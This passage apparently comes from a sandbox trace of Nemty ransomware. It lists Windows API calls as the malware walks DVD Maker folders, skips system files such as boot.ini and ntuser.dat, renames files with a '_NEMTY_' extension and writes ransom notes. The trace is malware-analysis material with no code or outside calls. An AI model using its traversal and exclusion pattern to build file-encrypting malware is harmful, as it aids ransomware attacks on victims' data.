maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png._nemty_kgobjgd_")) returned 0 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.819] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3a1beb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd3a1beb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd3a1beb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0055.819] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0055.819] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0055.819] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0055.819] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0055.820] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0055.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0055.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0055.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0055.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0055.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0055.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0055.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0055.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.821] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3a1beb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd3a1beb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd3a1beb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0055.821] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0055.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0055.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0055.821] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2=".") returned 1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="..") returned 1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="...") returned 1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="windows") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="$RECYCLE.BIN") returned 1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="rsa") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="NTDETECT.COM") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="ntldr") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="MSDOS.SYS") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="IO.SYS") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="boot.ini") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="boot.ini") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="AUTOEXEC.BAT") returned 1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="ntuser.dat") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="desktop.ini") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="CONFIG.SYS") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="RECYCLER") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="BOOTSECT.BAK") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="bootmgr") returned -1 [0055.821] lstrcmpiW (lpString1="BabyGirl", lpString2="programdata") returned -1 [0055.822] lstrcmpiW (lpString1="BabyGirl", lpString2="appdata") returned 1 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyGirl", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyGirl", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyGirl", lpUsedDefaultChar=0x0) returned 8 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyGirl", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyGirl", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyGirl", lpUsedDefaultChar=0x0) returned 8 [0055.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0055.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0055.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f942b0 [0055.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94348 [0055.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0055.822] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0055.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94348 | out: hHeap=0x4f90000) returned 1 [0055.825] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.825] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0055.826] CloseHandle (hObject=0x3cc) returned 1 [0055.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0055.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f943a0 [0055.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0055.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943a0 | out: hHeap=0x4f90000) returned 1 [0055.826] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0055.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.827] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.827] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0055.828] CloseHandle (hObject=0x3cc) returned 1 [0055.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0055.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0055.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd4ea3c70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd4ea3c70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0055.829] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0055.829] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd4ea3c70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd4ea3c70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0055.829] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0055.829] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0055.829] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2=".") returned 1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="..") returned 1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="...") returned 1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="windows") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="$RECYCLE.BIN") returned 1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="rsa") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="NTDETECT.COM") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntldr") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="MSDOS.SYS") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="IO.SYS") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="boot.ini") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="AUTOEXEC.BAT") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="ntuser.dat") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="desktop.ini") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="CONFIG.SYS") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RECYCLER") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="BOOTSECT.BAK") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="bootmgr") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="programdata") returned -1 [0055.829] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="appdata") returned -1 [0055.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0055.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0055.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0055.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0055.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0055.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0055.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0055.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0055.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, 